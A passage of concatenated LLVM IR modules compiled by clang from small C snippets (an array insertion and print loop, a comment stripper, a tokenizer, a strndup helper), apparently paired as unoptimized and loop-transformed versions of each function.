%72, ptr %75, align 4 br label %76 76: ; preds = %67 %77 = load i32, ptr %8, align 4 %78 = add nsw i32 %77, -1 store i32 %78, ptr %8, align 4 %79 = load i32, ptr %8, align 4 %80 = load i32, ptr %6, align 4 %81 = icmp sgt i32 %79, %80 br i1 %81, label %67, label %._crit_edge6, !llvm.loop !9 ._crit_edge6: ; preds = %76 br label %82 82: ; preds = %._crit_edge6, %57 %83 = load i32, ptr %4, align 4 %84 = load i32, ptr %6, align 4 %85 = add nsw i32 %84, 1 %86 = sext i32 %85 to i64 %87 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 %86 store i32 %83, ptr %87, align 4 %88 = load i32, ptr %3, align 4 %89 = add nsw i32 %88, 1 store i32 %89, ptr %3, align 4 store i32 0, ptr %9, align 4 %90 = load i32, ptr %9, align 4 %91 = load i32, ptr %3, align 4 %92 = icmp slt i32 %90, %91 br i1 %92, label %.lr.ph8, label %105 .lr.ph8: ; preds = %82 br label %93 93: ; preds = %.lr.ph8, %99 %94 = load i32, ptr %9, align 4 %95 = sext i32 %94 to i64 %96 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 %95 %97 = load i32, ptr %96, align 4 %98 = call i32 (ptr, ...) @printf(ptr noundef @.str, i32 noundef %97) br label %99 99: ; preds = %93 %100 = load i32, ptr %9, align 4 %101 = add nsw i32 %100, 1 store i32 %101, ptr %9, align 4 %102 = load i32, ptr %9, align 4 %103 = load i32, ptr %3, align 4 %104 = icmp slt i32 %102, %103 br i1 %104, label %93, label %._crit_edge9, !llvm.loop !10 ._crit_edge9: ; preds = %99 br label %105 105: ; preds = %._crit_edge9, %82 %106 = call i32 (ptr, ...) @printf(ptr noundef @.str.1) ret i32 0 } declare i32 @printf(ptr noundef, ...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7} !9 = distinct !{!9, !7} !10 = distinct !{!10, !7}
; ModuleID = '/tmp/tmp2k8zt4yk.c' source_filename = "/tmp/tmp2k8zt4yk.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @EX_USAGE = dso_local global i32 0, align 4 @stderr = dso_local global i32 0, align 4 !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp2k8zt4yk.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @EX_USAGE = dso_local global i32 0, align 4 @stderr = dso_local global i32 0, align 4 !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpjp_fvgk_.c' source_filename = "/tmp/tmpjp_fvgk_.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @__cxa_guard_release(ptr noundef %0) #0 { %2 = alloca ptr, align 8 store ptr %0, ptr %2, align 8 %3 = load ptr, ptr %2, align 8 %4 = call i32 @setInitializerHasRun(ptr noundef %3) ret void } declare i32 @setInitializerHasRun(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpjp_fvgk_.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @__cxa_guard_release(ptr noundef %0) #0 { %2 = alloca ptr, align 8 store ptr %0, ptr %2, align 8 %3 = load ptr, ptr %2, align 8 %4 = call i32 @setInitializerHasRun(ptr noundef %3) ret void } declare i32 @setInitializerHasRun(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp6ogfcgwk.c' source_filename = "/tmp/tmp6ogfcgwk.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @EOF = dso_local global i32 0, align 4 @__const.main.s = private unnamed_addr constant [23 x i8] c"////****///**\22**//**/*\00", align 16 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca i32, align 4 %6 = alloca [23 x i8], align 16 store i32 0, ptr %1, align 4 store i32 -1, ptr %3, align 4 store i32 0, ptr %4, align 4 store i32 0, ptr %5, align 4 br label %7 7: ; preds = %77, %0 %8 = call i32 (...) @getchar() store i32 %8, ptr %2, align 4 %9 = load i32, ptr @EOF, align 4 %10 = icmp ne i32 %8, %9 br i1 %10, label %11, label %78 11: ; preds = %7 %12 = load i32, ptr %3, align 4 %13 = icmp eq i32 %12, 47 br i1 %13, label %14, label %21 14: ; preds = %11 %15 = load i32, ptr %2, align 4 %16 = icmp eq i32 %15, 42 br i1 %16, label %17, label %21 17: ; preds = %14 %18 = load i32, ptr %5, align 4 %19 = icmp ne i32 %18, 0 br i1 %19, label %21, label %20 20: ; preds = %17 store i32 1, ptr %4, align 4 br label %77 21: ; preds = %17, %14, %11 %22 = load i32, ptr %3, align 4 %23 = icmp eq i32 %22, 42 br i1 %23, label %24, label %31 24: ; preds = %21 %25 = load i32, ptr %2, align 4 %26 = icmp eq i32 %25, 47 br i1 %26, label %27, label %31 27: ; preds = %24 %28 = load i32, ptr %5, align 4 %29 = icmp ne i32 %28, 0 br i1 %29, label %31, label %30 30: ; preds = %27 store i32 0, ptr %4, align 4 br label %76 31: ; preds = %27, %24, %21 call void @llvm.memcpy.p0.p0.i64(ptr align 16 %6, ptr align 16 @__const.main.s, i64 23, i1 false) %32 = load i32, ptr %2, align 4 %33 = icmp eq i32 %32, 34 br i1 %33, label %34, label %51 34: ; preds = %31 %35 = load i32, ptr %3, align 4 %36 = icmp ne i32 %35, 39 br i1 %36, label %37, label %50 37: ; preds = %34 %38 = load i32, ptr %5, align 4 %39 = icmp ne i32 %38, 0 br i1 %39, label %40, label %44 40: ; preds = %37 %41 = load i32, ptr %3, align 4 %42 = icmp eq i32 %41, 92 br i1 %42, label %43, label %44 43: ; preds = %40 br label %49 44: ; preds = %40, %37 %45 = load i32, ptr %5, align 4 %46 = icmp ne i32 %45, 0 %47 = zext i1 %46 to i64 %48 = select i1 %46, i32 0, i32 1 store i32 %48, ptr %5, align 4 br label %49 49: ; preds = %44, %43 br label %50 50: ; preds = %49, %34 br label %51 51: ; preds = %50, %31 %52 = load i32, ptr %2, align 4 %53 = icmp eq i32 %52, 47 br i1 %53, label %57, label %54 54: ; preds = %51 %55 = load i32, ptr %2, align 4 %56 = icmp eq i32 %55, 42 br i1 %56, label %57, label %67 57: ; preds = %54, %51 %58 = load i32, ptr %5, align 4 %59 = icmp ne i32 %58, 0 br i1 %59, label %60, label %66 60: ; preds = %57 %61 = load i32, ptr %4, align 4 %62 = icmp ne i32 %61, 0 br i1 %62, label %66, label %63 63: ; preds = %60 %64 = load i32, ptr %2, align 4 %65 = call i32 @putchar(i32 noundef %64) br label %66 66: ; preds = %63, %60, %57 br label %74 67: ; preds = %54 %68 = load i32, ptr %4, align 4 %69 = icmp ne i32 %68, 0 br i1 %69, label %73, label %70 70: ; preds = %67 %71 = load i32, ptr %2, align 4 %72 = call i32 @putchar(i32 noundef %71) br label %73 73: ; preds = %70, %67 br label %74 74: ; preds = %73, %66 %75 = load i32, ptr %2, align 4 store i32 %75, ptr %3, align 4 br label %76 76: ; preds = %74, %30 br label %77 77: ; preds = %76, %20 br label %7, !llvm.loop !6 78: ; preds = %7 ret i32 0 } declare i32 @getchar(...) #1 ; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: readwrite) declare void @llvm.memcpy.p0.p0.i64(ptr noalias nocapture writeonly, ptr noalias nocapture readonly, i64, i1 immarg) #2 declare i32 @putchar(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nocallback nofree nounwind willreturn memory(argmem: readwrite) } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp6ogfcgwk.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @EOF = dso_local global i32 0, align 4 @__const.main.s = private unnamed_addr constant [23 x i8] c"////****///**\22**//**/*\00", align 16 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca i32, align 4 %6 = alloca [23 x i8], align 16 store i32 0, ptr %1, align 4 store i32 -1, ptr %3, align 4 store i32 0, ptr %4, align 4 store i32 0, ptr %5, align 4 %7 = call i32 (...) @getchar() store i32 %7, ptr %2, align 4 %8 = load i32, ptr @EOF, align 4 %9 = icmp ne i32 %7, %8 br i1 %9, label %.lr.ph, label %80 .lr.ph: ; preds = %0 br label %10 10: ; preds = %.lr.ph, %76 %11 = load i32, ptr %3, align 4 %12 = icmp eq i32 %11, 47 br i1 %12, label %13, label %20 13: ; preds = %10 %14 = load i32, ptr %2, align 4 %15 = icmp eq i32 %14, 42 br i1 %15, label %16, label %20 16: ; preds = %13 %17 = load i32, ptr %5, align 4 %18 = icmp ne i32 %17, 0 br i1 %18, label %20, label %19 19: ; preds = %16 store i32 1, ptr %4, align 4 br label %76 20: ; preds = %16, %13, %10 %21 = load i32, ptr %3, align 4 %22 = icmp eq i32 %21, 42 br i1 %22, label %23, label %30 23: ; preds = %20 %24 = load i32, ptr %2, align 4 %25 = icmp eq i32 %24, 47 br i1 %25, label %26, label %30 26: ; preds = %23 %27 = load i32, ptr %5, align 4 %28 = icmp ne i32 %27, 0 br i1 %28, label %30, label %29 29: ; preds = %26 store i32 0, ptr %4, align 4 br label %75 30: ; preds = %26, %23, %20 call void @llvm.memcpy.p0.p0.i64(ptr align 16 %6, ptr align 16 @__const.main.s, i64 23, i1 false) %31 = load i32, ptr %2, align 4 %32 = icmp eq i32 %31, 34 br i1 %32, label %33, label %50 33: ; preds = %30 %34 = load i32, ptr %3, align 4 %35 = icmp ne i32 %34, 39 br i1 %35, label %36, label %49 36: ; preds = %33 %37 = load i32, ptr %5, align 4 %38 = icmp ne i32 %37, 0 br i1 %38, label %39, label %43 39: ; preds = %36 %40 = load i32, ptr %3, align 4 %41 = icmp eq i32 %40, 92 br i1 %41, label %42, label %43 42: ; preds = %39 br label %48 43: ; preds = %39, %36 %44 = load i32, ptr %5, align 4 %45 = icmp ne i32 %44, 0 %46 = zext i1 %45 to i64 %47 = select i1 %45, i32 0, i32 1 store i32 %47, ptr %5, align 4 br label %48 48: ; preds = %43, %42 br label %49 49: ; preds = %48, %33 br label %50 50: ; preds = %49, %30 %51 = load i32, ptr %2, align 4 %52 = icmp eq i32 %51, 47 br i1 %52, label %56, label %53 53: ; preds = %50 %54 = load i32, ptr %2, align 4 %55 = icmp eq i32 %54, 42 br i1 %55, label %56, label %66 56: ; preds = %53, %50 %57 = load i32, ptr %5, align 4 %58 = icmp ne i32 %57, 0 br i1 %58, label %59, label %65 59: ; preds = %56 %60 = load i32, ptr %4, align 4 %61 = icmp ne i32 %60, 0 br i1 %61, label %65, label %62 62: ; preds = %59 %63 = load i32, ptr %2, align 4 %64 = call i32 @putchar(i32 noundef %63) br label %65 65: ; preds = %62, %59, %56 br label %73 66: ; preds = %53 %67 = load i32, ptr %4, align 4 %68 = icmp ne i32 %67, 0 br i1 %68, label %72, label %69 69: ; preds = %66 %70 = load i32, ptr %2, align 4 %71 = call i32 @putchar(i32 noundef %70) br label %72 72: ; preds = %69, %66 br label %73 73: ; preds = %72, %65 %74 = load i32, ptr %2, align 4 store i32 %74, ptr %3, align 4 br label %75 75: ; preds = %73, %29 br label %76 76: ; preds = %75, %19 %77 = call i32 (...) @getchar() store i32 %77, ptr %2, align 4 %78 = load i32, ptr @EOF, align 4 %79 = icmp ne i32 %77, %78 br i1 %79, label %10, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %76 br label %80 80: ; preds = %._crit_edge, %0 ret i32 0 } declare i32 @getchar(...) #1 ; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: readwrite) declare void @llvm.memcpy.p0.p0.i64(ptr noalias nocapture writeonly, ptr noalias nocapture readonly, i64, i1 immarg) #2 declare i32 @putchar(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nocallback nofree nounwind willreturn memory(argmem: readwrite) } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmp0veq5yg1.c' source_filename = "/tmp/tmp0veq5yg1.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @tokenize(ptr noundef %0, ptr noundef %1) #0 { %3 = alloca ptr, align 8 %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 %6 = alloca i64, align 8 %7 = alloca ptr, align 8 %8 = alloca i32, align 4 store ptr %0, ptr %4, align 8 store ptr %1, ptr %5, align 8 store i64 256, ptr %6, align 8 %9 = load i64, ptr %6, align 8 %10 = mul i64 8, %9 %11 = trunc i64 %10 to i32 %12 = call i64 @malloc(i32 noundef %11) %13 = inttoptr i64 %12 to ptr store ptr %13, ptr %7, align 8 %14 = load ptr, ptr %7, align 8 %15 = getelementptr inbounds i8, ptr %14, i64 0 store i8 0, ptr %15, align 1 store i32 0, ptr %8, align 4 br label %16 16: ; preds = %55, %2 %17 = load ptr, ptr %4, align 8 %18 = load i8, ptr %17, align 1 %19 = sext i8 %18 to i32 %20 = icmp ne i32 %19, 0 br i1 %20, label %21, label %56 21: ; preds = %16 %22 = load ptr, ptr %4, align 8 %23 = load i8, ptr %22, align 1 %24 = call i64 @isalpha(i8 noundef signext %23) %25 = icmp ne i64 %24, 0 br i1 %25, label %26, label %29 26: ; preds = %21 %27 = load ptr, ptr %5, align 8 %28 = call i32 @read_alpha(ptr noundef %4, ptr noundef %7, ptr noundef %6, ptr noundef %27) store i32 %28, ptr %8, align 4 br label %49 29: ; preds = %21 %30 = load ptr, ptr %4, align 8 %31 = call i64 @is_numeric(ptr noundef %30) %32 = icmp ne i64 %31, 0 br i1 %32, label %33, label %36 33: ; preds = %29 %34 = load ptr, ptr %5, align 8 %35 = call i32 @read_numeric(ptr noundef %4, ptr noundef %7, ptr noundef %6, ptr noundef %34) store i32 %35, ptr %8, align 4 br label %48 36: ; preds = %29 %37 = load ptr, ptr %4, align 8 %38 = load i8, ptr %37, align 1 %39 = call i64 @ispunct(i8 noundef signext %38) %40 = icmp ne i64 %39, 0 br i1 %40, label %41, label %44 41: ; preds = %36 %42 = load ptr, ptr %5, align 8 %43 = call i32 @read_punct(ptr noundef %4, ptr noundef %7, ptr noundef %6, ptr noundef %42) store i32 %43, ptr %8, align 4 br label %47 44: ; preds = %36 %45 = load ptr, ptr %4, align 8 %46 = getelementptr inbounds i8, ptr %45, i32 1 store ptr %46, ptr %4, align 8 br label %47 47: ; preds = %44, %41 br label %48 48: ; preds = %47, %33 br label %49 49: ; preds = %48, %26 %50 = load i32, ptr %8, align 4 %51 = icmp ne i32 %50, 0 br i1 %51, label %52, label %55 52: ; preds = %49 %53 = load ptr, ptr %7, align 8 %54 = call i32 @free(ptr noundef %53) store ptr null, ptr %3, align 8 br label %58 55: ; preds = %49 br label %16, !llvm.loop !6 56: ; preds = %16 %57 = load ptr, ptr %7, align 8 store ptr %57, ptr %3, align 8 br label %58 58: ; preds = %56, %52 %59 = load ptr, ptr %3, align 8 ret ptr %59 } declare i64 @malloc(i32 noundef) #1 declare i64 @isalpha(i8 noundef signext) #1 declare i32 @read_alpha(ptr noundef, ptr noundef, ptr noundef, ptr noundef) #1 declare i64 @is_numeric(ptr noundef) #1 declare i32 @read_numeric(ptr noundef, ptr noundef, ptr noundef, ptr noundef) #1 declare i64 @ispunct(i8 noundef signext) #1 declare i32 @read_punct(ptr noundef, ptr noundef, ptr noundef, ptr noundef) #1 declare i32 @free(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp0veq5yg1.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @tokenize(ptr noundef %0, ptr noundef %1) #0 { %3 = alloca ptr, align 8 %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 %6 = alloca i64, align 8 %7 = alloca ptr, align 8 %8 = alloca i32, align 4 store ptr %0, ptr %4, align 8 store ptr %1, ptr %5, align 8 store i64 256, ptr %6, align 8 %9 = load i64, ptr %6, align 8 %10 = mul i64 8, %9 %11 = trunc i64 %10 to i32 %12 = call i64 @malloc(i32 noundef %11) %13 = inttoptr i64 %12 to ptr store ptr %13, ptr %7, align 8 %14 = load ptr, ptr %7, align 8 %15 = getelementptr inbounds i8, ptr %14, i64 0 store i8 0, ptr %15, align 1 store i32 0, ptr %8, align 4 %16 = load ptr, ptr %4, align 8 %17 = load i8, ptr %16, align 1 %18 = sext i8 %17 to i32 %19 = icmp ne i32 %18, 0 br i1 %19, label %.lr.ph, label %59 .lr.ph: ; preds = %2 br label %25 20: ; preds = %53 %21 = load ptr, ptr %4, align 8 %22 = load i8, ptr %21, align 1 %23 = sext i8 %22 to i32 %24 = icmp ne i32 %23, 0 br i1 %24, label %25, label %._crit_edge, !llvm.loop !6 25: ; preds = %.lr.ph, %20 %26 = load ptr, ptr %4, align 8 %27 = load i8, ptr %26, align 1 %28 = call i64 @isalpha(i8 noundef signext %27) %29 = icmp ne i64 %28, 0 br i1 %29, label %30, label %33 30: ; preds = %25 %31 = load ptr, ptr %5, align 8 %32 = call i32 @read_alpha(ptr noundef %4, ptr noundef %7, ptr noundef %6, ptr noundef %31) store i32 %32, ptr %8, align 4 br label %53 33: ; preds = %25 %34 = load ptr, ptr %4, align 8 %35 = call i64 @is_numeric(ptr noundef %34) %36 = icmp ne i64 %35, 0 br i1 %36, label %37, label %40 37: ; preds = %33 %38 = load ptr, ptr %5, align 8 %39 = call i32 @read_numeric(ptr noundef %4, ptr noundef %7, ptr noundef %6, ptr noundef %38) store i32 %39, ptr %8, align 4 br label %52 40: ; preds = %33 %41 = load ptr, ptr %4, align 8 %42 = load i8, ptr %41, align 1 %43 = call i64 @ispunct(i8 noundef signext %42) %44 = icmp ne i64 %43, 0 br i1 %44, label %45, label %48 45: ; preds = %40 %46 = load ptr, ptr %5, align 8 %47 = call i32 @read_punct(ptr noundef %4, ptr noundef %7, ptr noundef %6, ptr noundef %46) store i32 %47, ptr %8, align 4 br label %51 48: ; preds = %40 %49 = load ptr, ptr %4, align 8 %50 = getelementptr inbounds i8, ptr %49, i32 1 store ptr %50, ptr %4, align 8 br label %51 51: ; preds = %48, %45 br label %52 52: ; preds = %51, %37 br label %53 53: ; preds = %52, %30 %54 = load i32, ptr %8, align 4 %55 = icmp ne i32 %54, 0 br i1 %55, label %56, label %20 56: ; preds = %53 %57 = load ptr, ptr %7, align 8 %58 = call i32 @free(ptr noundef %57) store ptr null, ptr %3, align 8 br label %61 ._crit_edge: ; preds = %20 br label %59 59: ; preds = %._crit_edge, %2 %60 = load ptr, ptr %7, align 8 store ptr %60, ptr %3, align 8 br label %61 61: ; preds = %59, %56 %62 = load ptr, ptr %3, align 8 ret ptr %62 } declare i64 @malloc(i32 noundef) #1 declare i64 @isalpha(i8 noundef signext) #1 declare i32 @read_alpha(ptr noundef, ptr noundef, ptr noundef, ptr noundef) #1 declare i64 @is_numeric(ptr noundef) #1 declare i32 @read_numeric(ptr noundef, ptr noundef, ptr noundef, ptr noundef) #1 declare i64 @ispunct(i8 noundef signext) #1 declare i32 @read_punct(ptr noundef, ptr noundef, ptr noundef, ptr noundef) #1 declare i32 @free(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmpcnizy64i.c' source_filename = "/tmp/tmpcnizy64i.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @oc_strndup(ptr noundef %0, i32 noundef %1) #0 { %3 = alloca ptr, align 8 %4 = alloca ptr, align 8 %5 = alloca i32, align 4 %6 = alloca ptr, align 8 store ptr %0, ptr %4, align 8 store i32 %1, ptr %5, align 4 %7 = load i32, ptr %5, align 4 %8 = icmp slt i32 %7, 0 br i1 %8, label %9, label %10 9: ; preds = %2 store ptr null, ptr %3, align 8 br label %31 10: ; preds = %2 %11 = load i32, ptr %5, align 4 %12 = add nsw i32 %11, 1 %13 = sext i32 %12 to i64 %14 = mul i64 1, %13 %15 = trunc i64 %14 to i32 %16 = call i64 @malloc(i32 noundef %15) %17 = inttoptr i64 %16 to ptr store ptr %17, ptr %6, align 8 %18 = load ptr, ptr %4, align 8 %19 = icmp ne ptr %18, null br i1 %19, label %21, label %20 20: ; preds = %10 store ptr null, ptr %3, align 8 br label %31 21: ; preds = %10 %22 = load ptr, ptr %6, align 8 %23 = load ptr, ptr %4, align 8 %24 = load i32, ptr %5, align 4 %25 = call i32 @memcpy(ptr noundef %22, ptr noundef %23, i32 noundef %24) %26 = load ptr, ptr %6, align 8 %27 = load i32, ptr %5, align 4 %28 = sext i32 %27 to i64 %29 = getelementptr inbounds i8, ptr %26, i64 %28 store i8 0, ptr %29, align 1 %30 = load ptr, ptr %6, align 8 store ptr %30, ptr %3, align 8 br label %31 31: ; preds = %21, %20, %9 %32 = load ptr, ptr %3, align 8 ret ptr %32 } declare i64 @malloc(i32 noundef) #1 declare i32 @memcpy(ptr noundef, ptr noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
